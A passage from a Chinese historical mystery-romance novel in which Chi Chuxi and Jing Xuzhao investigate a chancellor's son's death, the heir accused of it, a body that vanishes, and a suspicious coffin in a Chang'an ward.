见景序昭已经没有要主动与她说话的意思,陆逍不得不继续接上。
“陛下要景兄向大理寺禀明张参军遇刺一事的全部经过,不能遗漏,还得配合大理寺查证,一时之间怕是不能这么快回苍山。”
“池娘子你还打算回苍山吗?”这话陆逍是替景序昭问的。
池楚浠道:“待办完手中的事再行考虑。”
陆逍哦了一声,池楚浠不回苍山景序昭估计也不会回去,原本景序昭去苍山也只是一个幌子。
紫珞主动给两位客人倒了茶水。
田兰竹着重看着景序昭,虽然这位郎君没与池楚浠说话,但她总觉得事情没这么简单。
说是故友,可故友怎会见了面一句话也不说。
田兰竹觉得怪异。
景序昭忽然看着池楚浠道:“谢鹤明两年前的确去过苍山,我的人已经查到了,你无需再以身涉险。”
池楚浠怔了怔,抬眼望着景序昭。
原来他什么都知道,甚至已经查到了谢鹤明两年前的行踪。
景序昭定定地看着她道:“你想知道什么告诉我便是,不必用婚姻大事来做筹码。”
池楚浠心中一震,眼眶有些发酸。
她躲开了景序昭盯着她的目光,
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不敢再直视他的眼睛。
景序昭却盯着她,视线没有半分偏移。
陆逍笑了声道:“是啊,池娘子,办案是他分内之事,你尽管吩咐他便是,即便你不吩咐他也会查个水落石出,你得信任他。”
池楚浠终于抬眸看向景序昭,沉声道:“我一直是信你的,只是……只是不想你有所误会。”
她怕越与他走得近景序昭就越容易误会她的心意,将来越难自拔。
景序昭道:“我误会我的,你做你的便是,何须在意我的想法。”
他紧紧地盯着她道:“有时,不止是误会,所以无论你躲去哪都无用。”
“你可明白?”
池楚浠对上他炙热的目光,眼底的酸楚散去,余下些许惊慌,景序昭仿佛是将她往角落里逼,退无可退,只能强行面对。
“明白了。”池楚浠小声道。
即便是她躲着走,景序昭还是会对她有这种心思,他已经说得很明白了。
不是误会,躲也无用。
池楚浠只盼他能自己看清,不要在她身上浪费时间,她并不是适合嫁进景家的人选。
景序昭与田兰竹告辞。
余下母女两人说话。
田兰竹道:“你与那景二郎……”
“并无关系。”池楚浠道,“只是故友,碰巧他近日在重查苍山一案。”
田兰竹长长地“哦”了一声,盯着池楚浠若有所思。
今日几家人上门提亲一事在附近几条街闹得沸沸扬扬,到了下午就传开了。
刚吃过晚饭,紫珞便着急忙慌地跑来道:“家翁、夫人,不好了,听闻滕王府世子跑去左丞家将何郎君揍了一顿。”
“啊……”
田兰竹一脸不可置信。
裴焕更是惊得站了起来:“何故?”
紫珞道:“听滕王府的人说,世子是要去给咱家池娘子出气,不知世子是听谁说何郎君在苏家调戏了池娘子,他一听就气不过,直接冲进了左丞家,左丞家的下人们都不敢拦。”
刚吃完饭的池楚浠和裴清浅都还没离席,裴清浅听着这事都惊呆了:“阿姐,那脑残世子当真这么喜欢你,肯为你去暴打何郎君一顿。”
“闭嘴!”裴焕瞪了裴清浅一眼,“不许这般议论。”
“是,父亲。”裴清浅默默低下头。
田兰竹拉着紫珞问:“消息来源可靠吗,是不是真的打了何郎君?”
紫珞点头:“确认可靠,如今两府的人都在说,不会有错。”
田兰竹忧虑起来:“世子真把人给打了……不知左丞会不会怪罪到咱们头上。”
滕王府不能轻易得罪,但裴家在左丞面前就像个蝼蚁,若真把左丞气急了,将来必定拿裴家出气。
池楚浠默默地低着头,此事因她而起,错终究在她。
田兰竹对裴焕道:“实在没办法的话,我就去求景二郎,让他出面,左丞总归会给景家一个面子。”
裴焕眉头皱得老深。
池楚浠上前道:“对不起义父,是楚浠惹是生非了,以后楚浠断然不敢闹出这等事。”
裴焕叹了口气,摆摆手道:“不是你的错,从前你深居简出,没去结识这些人,如今你一露面,他们瞧见你生得好看自然会蜂拥而上,这便是这些世家子弟的德性。”
81. 死不见尸
“此事走一步看一步吧,毕竟是何瑾亦轻薄你在先,还轮不到你先认错。”裴焕道。
池楚浠低声道:“是。”
这夜,池楚浠睡得不太好。
她梦见自己与谢鹤明定了亲,但三番两次与谢鹤明来往后却始终没能从他身边查出任何东西。
宋晚吟画的那幅画是错的,谢鹤明也从未去过苍山,一切仿佛又回到了原点。
梦里突然惊醒,池楚浠在黑暗中睁着眼睛。
白日里景序昭说谢鹤明的确去过苍山,那说明这事其中还有猫腻。
没准儿真能从他身上挖出有价值的线索。
池楚浠的脑子越来越清醒,一直到天亮都没再睡着,心里想了许多事。
心里惴惴不安的感觉持续了一整日。
象征宵禁的钟鼓声响起,城内所有百姓都已归家。
紫珞和昨日一样匆匆赶了回来,她比昨日惊恐多了,慌里慌张地道:“不好了,人死了!”
“谁死了?”田兰竹问。
紫珞脸色惨白,像是受到了不小的惊吓,她道:“何郎君死了,就在西市的一家铺子里。”
“什么……”
田兰竹愣了片刻,脸色立马跟紫珞一样难看。
“死了……这、这可如何是好?”
紫珞继续道:“世子也在铺子里,有人看见他浑身是血,就趴在何郎君身上……像是在撕咬。”
田兰竹差点站不稳,紫珞赶紧扶了她一把。
“世子把人咬死了?”
紫珞道:“看见的人是这么说的,毕竟大家都知道,世子有疯狗病。”
田兰竹扶着额头,感觉快晕过去了。
这回好了,何瑾亦死了,这仇要算在谁的头上。
池楚浠和裴清浅正好走来,都听到了紫珞说的话,裴清浅当场吓得浑身都僵了。
池楚浠道:“不可能,张邈绝不会把人咬死,我听灵枢谷的大夫说过,即便是他发病最严重时也未曾生过这样的事端,况且如今他的病已经大好。”
“紫珞,你是听谁说的?”
紫珞道:“钟鼓还未响时西市那边还有些许人没回家,几个路人都瞧见了,当下便报了官,金吾卫当场就把世子带走了。”
“不知这会儿是个什么情景。”
池楚浠皱眉深思,她不信张邈会把人活生生咬死,他早就不会咬人了,否则灵枢谷不会放他回来。
况且张邈本性良善,从未有过害人之心,他怎么可能在大庭广众之下杀了何瑾亦。
次日一早,池楚浠便匆匆出了门。
景家门外,池楚浠已经在此处候了好一会儿了,小厮说进去通传,但传了许久也不见回音。
她抬头望着景家的大门,不免有些焦灼,如今能清楚地知道张邈一事的只有景序昭了。
大门里没有人出来,反倒是身后有人拉了她一把,直接拽着她的手腕离开。
“去个方便说话的地方聊。”景序昭道。
池楚浠被他拉进了长兴坊酒楼,两人进了一间雅室,周围没有旁人出没。
池楚浠道:“你知道我想问什么?”
“何瑾亦的尸首失踪了。”景序昭道,“昨日金吾卫直接将张邈扣在了大理寺,何瑾亦的尸首也一并带了回去,原是要今日验尸,但仵作准备验尸时尸体却不见了。”
“怎会如此……”池楚浠怔怔的,“大理寺的人都没发现尸体去了何处?”
景序昭道:“昨夜将尸体带回时有人看守,左丞赶去认了尸,确认是何瑾亦无疑,但今早尸体便离奇地消失,这会儿已经派人暗中搜寻。”
池楚浠道:“不是张邈咬死的对不对?”
景序昭道:“昨日我看了尸体,的确有咬痕,但不致命,尸体眼开睛突,口鼻内流出血水,满面血荫赤黑色。”
池楚浠一听景序昭对尸体的描述便追问:“可有人查验尸身粪门?”
景序昭摇摇头:“仵作还未来得及验尸,粪门这等地方我未曾特意查看。”
池楚浠左右看了看,似乎在观察周围的环境。
景序昭道:“这酒楼的店主是自己人,不必担心,无人来偷听,你有什么只管说便是。”
池楚浠道:“照你说的来看,何瑾亦极有可能是被外物压塞口鼻而死,但最终定论还得仔细验尸才能得出。”
景序昭沉声道:“大理寺已经派人去搜寻尸体,一具尸体怎会凭空消失,只要不是被毁尸灭迹就一定能找回来。”
池楚浠面有愁容:“就怕已被毁尸灭迹,这样一来仵作无法验尸,世子的清白便很难洗清。”
景序昭道:“他毕竟是滕王府世子,王爷就他一个独子,即便人真是他杀的,三法司也不敢这么快定罪,只要有一丝冤屈,此事必定有回转的余地。”
池楚浠心思沉沉。
“这桩案子是何人负责?”
景序昭道:“昨日尸体是直接送往大理寺的,理应由大理寺少卿接手此案,不过今日尸体离奇失踪,怕是陛下那边会出面,需得安抚左丞与滕王。”
池楚浠面有忧色,她道:“世子的心智并非常人,若是交给外人审,怕是会让他胡言乱语,审出冤假错案。”
“若对方故意杀了何瑾亦栽赃给世子,那此事就更难办了,一切说辞想必早已暗中安排妥当。”
景序昭道:“你为何如此笃定张邈没有杀人?”
池楚浠看着他道:“难道你不笃定?你对张邈比我对他更熟悉,他会不会咬死人,会不会故意将人闷死你应该最清楚。”
景序昭沉思片刻道:“你说得没错,他从发病之初就没有过杀人的念头,楚大夫说他是因为极度恐惧,只想逃避而产生的病根,他只想把自己藏起来,甚至不惜变成畜生也要躲着,若是他伤人那一定是迫不得已,但也仅仅是挥舞几下爪子,龇牙吓唬人罢了。”
“他幼时曾跟随滕王作战,踏过尸山被血糊了一脸,自那次回城后就变了性子,生了这怪病。”
“陛下心系滕王父子,特地派人四处寻访名医,这才将张邈送去灵枢谷医治。”
池楚浠道:“若真的是张邈亲手杀的人,那只有一种可能。”
她看向景序昭,两人似乎猜到了彼此心中所想。
景序昭道:“有人从旁协助。”
池楚浠嗯了一声,张邈想要真的将一个活生生的人彻底杀死,必定需要有人从旁推波助澜。
景序昭道:“若真是如此,倒很难办了,杀人的罪名就落实了。”
池楚浠道:“你何时回苍山?”
“不急,张参军一事还未办完,陛下允我留在长安一段时日。”景序昭道,“何瑾亦这桩案子我可以跟着,你想知道什么尽管找我,一旦尸体找回来我会立即告知你。”
“负责审张邈的人我也会时刻留意,陛下不会任由旁人在证据不足的情况下给他定下罪名。”
池楚浠道
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:“何瑾亦死的前一日世子曾上门找过他麻烦,听说把他揍了一顿。”
“是为你出口恶气对吧。”景序昭道,“我听说了,正是因为这事我才会去过问这桩案子,张邈为了你杀了何瑾亦,若真坐实罪名,你们裴家往后的日子举步维艰。”
池楚浠垂下眼眸,这事她也有过错。
“何瑾亦当众轻薄我,苏家好几个丫鬟都瞧见了,想必事情也是通过她们之口传出去的,谁曾想让张邈听了去。”
“他向来当我是真心待他的朋友,应是想为我出头,冲动之下便闯进了何家,此事闹得人尽皆知,如今怕是所有人都认为是他杀了何瑾亦。”
景序昭道:“死得好。”
“他今日不死,明日也要死。”
池楚浠抬眼看着他,仿佛他才是那个真正杀何瑾亦的凶手,想杀人的心思都写在了脸上。
也正是因为考虑到裴家,池楚浠才必须了解这桩案子的动向,不仅仅是为了张邈。
店小二上了些吃食,菜品还算丰盛,是池楚浠喜欢的口味。
景序昭道:“先吃些东西,等大理寺那边的消息。”
简单地吃了几口,池楚浠道:“我可否去何瑾亦死的那家铺子看看?”
景序昭想了想,道:“行,我去知会金吾卫一声。”
从长兴坊酒楼出来,两人一起前往案发现场。
这是西市的一家杂货铺,里面卖一些异域来的小玩意儿,平日里来来往往的人不多。
因这铺子里死了人,今日封了店,两个金吾卫守在门口,不让闲人入内。
景序昭提前拿了中郎将的腰牌,两个金吾卫即使不看腰牌也认得景序昭,看了腰牌了便直接放了他们进去。
一金吾卫道:“景侍郎,今晨大理寺少卿和中郎将已经来看过了,没看出什么东西,不过我二人还得在此处守一段时间。”
景序昭嗯了一声便跨进门槛,他只挑了个门边的位置站着,没再到处走动。
“你们中郎将可有动过屋里的东西?”景序昭问。
金吾卫摇摇头:“没乱动什么东西,就满屋子看了看,说是看不出什么就和大理寺少卿一起走了。”
池楚浠看着地上遗留的血迹眉头微皱,残留的血迹不多,绝对不是能够致死的量。
“这些血迹有些奇怪。”
她蹲下来仔细看,景序昭也跟着凑近了看。
“这些血痕不是自然滴落,像是被刻意涂抹过而留下的。”
景序昭道:“会不会是何瑾亦与凶犯拉扯间在地上蹭下的。”
池楚浠盯着痕迹看了一会儿,道:“不像,如果是蹭上的,不可能所有位置都是蹭上的,这里的血没有一处是自然流下。”
景序昭道:“何瑾亦身上的伤口还没到血液自然滴落的状态,所有痕迹都是刻意涂抹,他和凶犯谁会这样做?”
金吾卫插嘴道:“大理寺少卿说了,两人是在地上扭打,被咬过的伤口都在地上蹭出血也说得通。”
看来大家都有注意到地上血迹的异样。
景序昭用指腹碰了碰地上的血痕,他看着池楚浠道:“你说的更有理,这些血痕是有蹊跷。”
池楚浠尽管没有十足的把握,但她还是觉得两个人扭打也不应该形成这样的痕迹。
刻意涂抹与不小心蹭上,只要细看就一定有区别。
她更仔细地观察地上的每一处痕迹,这些浅浅的血迹早已风干。
82. 不是咬死
残留的血迹不多,其余的也看不出什么东西了。
池楚浠在屋里看了一圈,这铺子里卖的都是些零碎的小东西,唯一摆放整齐的是一包包的茶叶。
她凑近茶叶包闻了闻,竟是一股熟悉的味道。
“这是沙洲那边盛产的叶子。”她道。
景序昭直接打开了茶包,捡出里面的叶片查看,池楚浠也捏了一些茶叶在手中仔细看。
“没错,是沙洲古道那边的南诏茶,我在醉仙楼时喝过,还是晚吟告诉我它叫什么名字,从哪儿来又种植在何处。”
景序昭将茶放回去道:“这种铺子里很多外地来的东西,南诏茶便是其中一种,这茶在制作工艺上不如中原名茶,卖的价格不高,有钱人家通常不会买这种茶。”
看着琳琅满目的外地商品,池楚浠道:“这间铺子的店主是何方人士?”
景序昭不知,便看向一旁的金吾卫。
金吾卫道:“店主是从沙洲那边来的,不是长安本地人,不过他们一家已经长期在长安住下了,平时铺子里的货源都由从前那些老商队提供。”
“店主这几日还来吗?”池楚浠问。
金吾卫道:“应是不会来了,有我们在这里守着他也没必要来,反正也做不了生意。”
“出了这样的人命案,死的还是左丞儿子,我看他这铺子以后只有关门了。”
景序昭问:“昨日张邈为何与何瑾亦一同出现在这家铺子,平常这些富家子弟也不怎么来逛西市。”
金吾卫道:“那还不是滕王府的世子非要追着来,附近几个坊的人都知道,世子跟何郎君有过节,前日还打了一架,昨日两人的怨气都还没消。”
“何郎君逛腻了东市,偶尔也会来西市寻乐子,昨日两人就在这间铺子里闹出了人命。”
景序昭觉得有些怪异,接着问:“可有人亲眼目睹他二人斗殴的过程?”
金吾卫道:“路过的那几个路人都盘问了几遍,都说看见世子咬死了何郎君。”
“哦对了,我们翊卫中郎将也看见了,是他第一时间将何瑾亦的尸首送去大理寺的。”
景序昭想起昨日的确在大理寺见过翊卫中郎将,但他对这位翊卫中郎将并不熟悉,他在翊府做事,专门负责仪仗事务,交集很少。
景序昭对金吾卫道:“你们中郎将若是再来这里查到什么,也一并告知我。”
两个金吾卫面面相觑,其中一个面露难色:“景侍郎,您说您现在已经不在长安任职了,这些事过问太多不太合适吧?”
景序昭亮出中郎将的腰牌:“金吾卫听命于陛下和太子,你说我为何能拿到你们中郎将的腰牌?”
金吾卫尴尬地笑了笑:“也是,您想知道什么我们一定知无不言,不过景侍郎,这桩案子恐怕没那么容易查,尸体失窃不是小事,已经惊动圣上了。”
外边匆匆跑过来一队人马,林云舟跳下马背朝铺子走来。
两个金吾卫赶紧上前见礼:“中郎将。”
林云舟走到景序昭面前,熟门熟路地从景序昭手里把腰牌拿了回来。
他道:“圣上说了,此案事关重大,命大理寺主办,刑部协查。”
景序昭道:“是由周玄亲自接手?”
林云舟嗯了一声:“是,这间铺子从今日起封锁,待查清后再行解禁。”
林云舟对景序昭做了个“走”的动作:“别站这儿了,铺子封了。”
池楚浠跟着一起出来,看着金吾卫给这家铺子贴上封条。
何瑾亦这桩人命案闹得太大了,不可再有一点变数。
景序昭问林云舟:“听说是翊卫中郎将第一个到的案发现场,将尸体带去的大理寺,你跟他熟吗?”
林云舟点点头:“熟啊,虽不在一个地方共事,但经常能见到。”
林云舟像是突然想起了什么,道:“说来也奇怪,那是个怪人,自从他发妻死后就再未续弦,谢监丞好歹有续弦之意,他是一点也没有,谁给他说亲他跟谁急,你说这鳏夫当着就这么爽吗?”
这样的事景序昭倒是不知,他平日里也不关注这些。
池楚浠在一旁听者,她不是朝廷的公职人员,此刻也不方便贸然与中郎将搭话。
景序昭道:“可有问过他那日具体看见了什么,张邈是如何咬死何瑾亦的?”
林云舟道:“他哪有看见,他去的时候人都已经死了,听路过的几人说是张邈把人弄死的,他着急也顾不上那么多,认出死者是何瑾亦后怕事情闹得不可开交就赶忙将尸体送去大理寺。”
“他是那日正巧路过,像他这样的人铁定不想沾染这种人命案,巴不得赶紧把尸体交出去。”
景序昭道:“你把他叫来再问一次。”
“这有什么好问的。”林云舟道,“他是翊府金吾卫,他既不负责审案子也不会杀人,还问他做什么。”
“更何况这桩案子如今全权由大理寺卿负责,我可管不了那么多,你就更管不上了,虽说刑部协查,但你现在都不在刑部。”
景序昭看了看池楚浠对林云舟道:“这位娘子精通验尸,昨日我去看尸体时并未完全看得真切,你且将翊卫中郎将叫来再问一遍,看看是否还有出入。”
“兴许会让你发现新线索,届时你就是破获此案的大功臣,圣上亲自给你加官进爵。”
林云舟摸着下巴思索。
“行行行,我带你们去找他,就问这一次,那家伙不好相处,我可不想跟他多说话。”
池楚浠从林云舟部下那里分到一匹马,跟着他们一起去找翊卫中郎将。
林云舟带着他们来到训练场,跟守卫打了招呼便进去了。
偌大的训练场上,有一队翊卫兵在训练,其中领头的便是翊卫中郎将赵廷骁。
见有人来了,赵廷骁便让翊卫兵自行训练,自己则朝林云舟走来。
“中郎将有何事?”
赵廷骁的语气冷冰冰的。
林云舟道:“我来问你些事,你那日见到的何瑾亦尸体具体是什么样的?”
赵廷骁道:“不是已经问过了,大理寺都有记录。”
林云舟“唉”了一声:“我再问一遍不行吗,圣上刚给了严查的旨意,我等有义务查漏补缺,多盘问几遍,把你昨日看见的都说来,一点都不要遗漏。”
赵廷骁的目光扫过林云舟身旁的两人,他对景序昭有印象,但旁边的女子就完全没见过了。
林云舟也算带着皇命在办案,赵廷骁不好拒绝,便复述了一遍昨日看见的情景。
“我去时就看见张邈趴在何瑾亦身上,两人身上都有血迹,张邈满脸惊恐,我进去看时何瑾亦已经没气了。”
景序昭问:“何瑾亦身上有哪些伤?”
赵廷骁道:“我就看见他脖子上和手上有几道牙印,其他地方我没仔细看,毕竟我这里又不负责办案,只能移交大理寺。”
池楚浠实在忍不住问道:“尸体可有眼开睛突,口
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鼻内流出血水,满面血荫赤黑色?”
赵廷骁想了想:“我没留意太多,眼睛好像是有些突,面色也有些赤黑。”
“其他的我不清楚了,你们还想知道什么去问大理寺吧,他们那里都有记录在册。”
赵廷骁转身回去训练了。
池楚浠道:“何瑾亦极有可能是被闷死的。”
才走出去没多远的赵廷骁听见了,脚步不自觉地顿了顿,他悄然回头看了池楚浠一眼。
林云舟叹了口气:“无论他是怎么死的,照目前的线索来看,他都是被张邈弄死的,圣上不愿看到滕王与何家成为死对头,这会儿正头疼着呢。”
“尸体无缘无故消失了,周玄怕是要把大理寺上上下下都审问几遍。”
“这种情况,估计也只有监守自盗了,可谁又会去偷一具尸体,莫非是跟何家有仇,要把何瑾亦的尸体拿去碎尸万段。”
林云舟自顾自说着。
“行了,我不陪你们闹腾了,我得去大理寺一趟,圣上命我协助周玄,忙得很。”
他拍拍景序昭的肩骑马离去。
池楚浠道:“我想去一趟滕王府,你陪我一起。”
景序昭点点头。
滕王府今日大门紧闭,不见有人出来,除了池楚浠二人就无人再进去。
婆子领着池楚浠去见王妃。
屋子里,王妃哭得眼睛都肿了,明知有人来探望,她还是忍不住哭泣。
终于,她缓了缓,道:“楚浠是吧,坐,我们等了你这么久,你今日才舍得上门,可惜,我儿已经在大理寺关着了。”
说着,她又要哭了,只好拿帕子遮掩。
池楚浠直接步入正题,问道:“前日世子去何家将何瑾亦打成了什么模样,可有在他身上留下咬痕?”
王妃怔了怔:“你这是什么意思?”
池楚浠道:“目击者说何瑾亦身上有咬痕,便猜测是被世子咬死的,但若是前日就有咬痕,这种猜测就不作数。”
“王妃,您可知道前日何瑾亦身上留下了什么伤?”
王妃回想起前日的事,道:“我不知,前日邈儿闷头就冲去了何家,何家的人说他把何瑾亦打了一顿,我不知到底打伤了他哪处。”
“有一个人或许知道……”王妃忽然想起。
“瑶珠,去叫宝康进来!”
很快,丫鬟领着小厮来了。
宝康行了礼,等着主子吩咐。
王妃道:“前日你随邈儿去何府时,可看清了何瑾亦身上留下的伤势,邈儿可有真的咬到他?”
宝康道:“那时世子气急了的确咬了几口,不过都没咬出血来,奴瞧着像只是咬痛了而已,没有大碍。”
池楚浠赶紧问道:“都咬了哪几处?”
宝康想了想,道:“脖子咬了一口,手背咬了一口,其他的好像没了,都没出血。”
王妃一喜:“那就不是我们邈儿咬死的,这明明是前日就留下的咬很,不是昨日死时留下的。”
池楚浠道:“的确是这样,不过看不到尸体一切就没有证据,大理寺的仵作根本没来得及验尸。”
王妃再次忧虑起来。
景序昭与滕王在说话。
景序昭道:“大理寺已经派人去了何府,王府这边很快也会有人来了。”
滕王像是一夜没睡,人看起来有些憔悴。
他道:“这次是我们家摊上了麻烦,何翰阳不会轻易放过我儿。”
83. 在办丧事
有小厮前来通报:“大理寺的人来了。”
王爷王妃都迎了出来。
周玄亲自带着人来,他不是一副气势汹汹的模样,反倒是客客气气地道:“王爷,本官奉命前来询问。”
滕王请了他进屋说话。
“你问便是,只求早日为我儿洗清冤屈。”
周玄看了一眼在场所有人,留意到了池楚浠,他看着池楚浠道:“这位便是让世子冲冠一怒为红颜的池娘子吧?”
池楚浠微点了一下头,算是将这桩因果认下了。
周玄对滕王道:“我问什么王爷如实回答便是,我等也是为了尽早破案,还所有人一个真相。”
“陛下忧心,不想让王爷为难,还望王爷理解。”
滕王默默地叹了口气:“我明白,我配合你们大理寺全力缉查。”
“还望你早日寻回何瑾亦的尸身,让仵作验明他到底是怎么死的。”
周玄看向池楚浠道:“还请池娘子回避。”
池楚浠退到了另外一间院子。
周玄看了看景序昭,没对他的去留做安排。
宝康又被叫去问话了。
滕王府的下人们都显得很紧张,走路都垂着头,想来是这一两日府中实在过于压抑了。
池楚浠叫住身边的一个丫鬟,道:“昨日世子是何时出门去的西市?”
丫鬟负责在这个院子伺候池楚浠,毕竟她算是王府的客人。
她道:“昨日世子是巳正二刻出的王府,本是想去东市逛逛,后偶然听见秦将军说何家郎君在西市,他便临时改了主意要去西市。”
池楚浠道:“那他是何时遇见的何瑾亦?”
丫鬟摇摇头:“奴婢不知,奴婢没有跟着出门,只是后来听宝康说起这些才知道的。”
池楚浠也没再问她。
张邈是上午出的门,何瑾亦是下午快夜禁时才死的,两人能在西市待这么久?
其中具体发生了什么一会儿还得问景序昭,毕竟他能在大理寺卿身边旁听。
若是能验尸就好了,池楚浠忍不住想,尸体往往带着许多秘密,他能告诉活着的人谁是凶手。
大理寺的人刚走,景序昭便拉着池楚浠从王府离开。
他道:“大理寺的人说,在店门口的那三个过路人并没有清楚地看见张邈杀人的全过程,他们看到的也只是张邈趴在何瑾亦身上,从他们的方向看像是在撕咬。”
池楚浠道:“那就是没有证人见到张邈真的杀人了,或许何瑾亦本来就已经死了。”
景序昭拽着池楚浠往桃园路那边去,他道:“昨日午时有人看见何瑾亦去了乐化坊,直到快宵禁时也没看见他出来,大理寺的人已经派人去查了。”
池楚浠赶紧跟上。
乐化坊位于西市西南方,是普通百姓的聚居地,位置较为偏僻,其中有少许移居而来的外地人士。
池楚浠在路口看见了大理寺官差的身影,他们也是奔着这里来的。
来到坊中难免会和大理寺的人遇上,周玄已经走了,留下来调查的是大理寺少卿褚逸。
褚逸与景序昭狭路相逢,褚逸沉声道:“景县丞,别以为周大人默许你跟着我就会也默许,此刻是我大理寺在查案,无关人等不可窃听。”
景序昭淡淡地瞥了他一眼,道:“你大理寺查案还不许我到这乐化坊来,这条街又不是你家的。”
褚逸冷哼一声,甩了甩袖子对手下道:“你们,分头去问,看昨日午时后谁见过何瑾亦。”
属下们领命去了。
景序昭拉着池楚浠的手腕从褚逸身旁掠过。
褚逸不免多看了池楚浠几眼,他刚得知张邈是为了这个小娘子对何瑾亦的动的手。
这个小娘子看起来乖巧本分,不像是那种蛊惑人心的妖女,怎么就让张邈发疯杀了人。
褚逸还在看着池楚浠的背影,一眨眼她就跟着景序昭转进了巷子里。
景序昭道:“只要找到昨日下午见过何瑾亦的人,大概就能查出他的动向,他是何时出的乐化坊,何时与张邈遇上,又是何时身亡的。”
池楚浠道:“乐化坊里这么多户人家,挨个排查要耗费许多时日。”
“尸体已经不见了,这样一耽误就更难找回。”
景序昭道:“有人负责找尸体,可还没有任何线索,周玄把大理寺的人都盘问了一遍,没发现异常。”
池楚浠道:“尸体是在大理寺丢的,外面的人很难进去,监守自盗的可能性最大,如果可以,还得再细细盘问一遍,一个都不要遗漏。”
景序昭道:“放心吧,周玄比谁都怕案子破不了,他不会放过任何一丝线索。”
两人在乐化坊里逛,沿途问了一些百姓是否见过何瑾亦。
景序昭不知何时从大理寺的人手下拿了一副何瑾亦画像,见着人便拿着画像询问。
可惜,到目前为止问的百姓都说没见过何瑾亦。
池楚浠看见一户人家的屋前挂了白布白花,出入的人头上裹了白布。
这户人家正在办丧事。
池楚浠正要朝这户人家走去,袖子便被璟序昭拉了一下,他道:“人家办丧事,不好打扰。”
池楚浠也犹豫了,这种情况的确不应去询问,只是她怕错过任何一点线索,最终还是道:“就问一句。”
景序昭想了想,同意她去。
池楚浠上前,拿着画像问刚来到门口的老翁:“您昨日见过这个人么?”
老翁头发花白,背脊挺直,他瞥了一眼画像上的人,不耐烦地摆摆手:“不认得,家里办丧,别来惹晦气。”
说完,老翁转身进屋。
池楚浠的目光跟随着他,看见屋子的正中央停着一口黑棺材,那棺材的一角掉落了些许木屑。
池楚浠盯着那棺材,见木屑的上方钉了铁钉,铁钉周围的木材有些许破损的痕迹,木屑应是从这里掉落。
这样一看,那铁钉像是新钉上去的,铁钉钉上去一般不会损坏木板,除非是钉了又拆除再重新钉上。
通常情况下,尸体入殓不会出现这种失误,也没必要拆了再钉。
景序昭留意到池楚浠看的位置,他也看见了,不过这也不能说明什么,或许是多钉了几次导致损坏了木材,没人规定棺材不可以多钉几次。
“走吧。”景序昭道。
池楚浠问:“这里的风俗一般是死了几日下葬?”
景序昭道:“停丧三五七日的都有,也有停满一月的。”
池楚浠立即寻了隔壁一户人家问:“那家人停丧几日了?”
隔壁的妇人道:“昨日上午才死的,还没停满两日,死的是他家的儿媳妇,难产死了,可惜了,那么好个娘子,人勤快长得又漂亮。”
妇人连着叹了好几口气:“可惜了……”
“有多漂亮?”池楚浠问。
一般能让同为女子的妇人这般赞不绝口,那一定是顶好的容色。
妇人道:“比那栖月楼里的魏姬还要好看,不过她是异域人,模样本就与长安女子不同,好看些也不足为奇。”
“你们是来调查西市杀人一
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案的吧,我听说了,那何家郎君死在了西市一家铺子里。”妇人指着隔壁办丧事的人家说,“这家人也给那间铺子供货呢,昨日还去送了货,可没想到今日就给封了。”
景序昭道:“这家人长期给那间铺子送货吗?都是些什么货?”
妇人道:“是啊,送了有几年了,大概就是些孩童玩意儿,有时有点茶叶,就是南诏茶,那叶子不好喝,不如咱们长安的茶。”
问了这些后两人便从隔壁妇人家离开了。
池楚浠站在路口还能看见办丧事的那户人家,她道:“人是上午难产死的,何瑾亦是下午收摊时死的,这么巧在同一天。”
景序昭觉得有些不对劲,他远远地望着那户人家,发现大门一侧有个人也一直在望着他。
视线一对上时,那人便闪了一下不见了,大抵是藏到了门后。
“这家人有些奇怪。”景序昭道。
池楚浠也留意到了那个暗中观察他们的人,道:“他为何要偷偷看我们,好奇么?”
景序昭忽然沉声道:“大理寺的人会挨家挨户地询问,但极有可能漏了他们家,毕竟他家办丧事,不想去沾了晦气。”
景序昭盯着屋中那副黑色的棺材道:“若是周玄在,他或许会开棺查验。”
池楚浠低低地说了句:“咱们去开棺,你能让他们开棺吗?”
秉承着宁可找错也不能放过的理念,池楚浠很想这么做。
景序昭嗯了一声:“去试试。”
见早已离开的两人又折返,老翁站在屋中远远地瞪了他们一眼。
老翁的儿子出来道:“两位还要问什么,你们要找的那个人我们真的没见过。”
“我们这里住的都是平民百姓,他一个高官的儿子怎会往这里瞎跑。”
说话的这个男人较为年轻,神色很是憔悴,像是伤心过度几夜没睡。
景序昭道:“难产去世的妇人可是你的娘子?”
男人冷着声儿道:“是我娘子,你们问这些做什么,我娘子喜静,还请你们不要再来叨扰。”
说着,男人转身就要回屋。
景序昭横刀拦住他:“慢着,你将棺材打开看一看,我们只是看一眼,不做什么。”
男人气得眼睛发红,怒道:“你们当官的欺人太甚!”
景序昭没有退让,这种时候若是不强硬些怕是做不成事。
景序昭道:“只是推开盖子一角而已,你们的棺材板难道之前没有重开过?”
他指着一角的木屑道:“那这是什么?”
男人胸腔剧烈起伏,连着咳嗽了几声,他怒指着景序昭道:“我娘子已经去世,你们非要扰她清静不可吗?”
景序昭道:“大理寺丢了一样很重要的东西,此刻正在全城搜查,即便你们家在办丧事,也要配合。”
男人拍着棺材道:“难道东西会藏在我娘子的棺材里不成!她人都死了,你们何必还要如此折辱她!”
景序昭态度强硬地横着刀:“打开一看便知。”
“你!”男人捂着胸口咳出一口血来。
池楚浠觉得他们此番作为确实有些过于强横,但她也实在没有办法。
她道:“对不住了,我们只是看一眼,你娘子若是在天有灵也一定希望大理寺能早日缉拿凶手。”
老翁站了出来,他拦在景序昭面前沉声道:“在我们家乡开棺是为不敬,今日谁都不能开棺!”
景序昭意识到事情比想象中还要棘手。
此时,褚逸领着人来了,他道:“怎么回事?”
84. 绝色女尸
老翁往棺材前一站,底气很足地道:“今日绝不开棺,你们这些官差休想扰亡人清静!”
死者的夫君在一旁悄然抹了抹眼泪,池楚浠每每看向他时都能感受到他心中的悲痛。
娘子难产而死,也不知孩子是否还活着,这样的不幸无论降临在谁家,家人都很难接受。
此刻她忽然理解了白蓉绒在梦里跟她说的那些话,她不愿将自己的性命放在一个不确定的环境中,生孩子九死一生,她明说了她不愿。
大多女子都以传宗接代为己任,像白蓉绒那样的几乎没有,只有从另一个世界来的人才能打破现有的规则与认知。
在例行询问后,褚逸的手下道:“褚少卿,他们一家人都说没见过何瑾亦。”
褚逸盯着屋中的那口棺材看了一会儿。
老翁也不给褚逸等人的面子,扬手赶人:“官爷去问别家吧,我们家的后事还没办完就不招待了。”
褚逸瞥了景序昭一眼,道:“他不是大理寺的人,没资格要求你开棺,但我可以。”
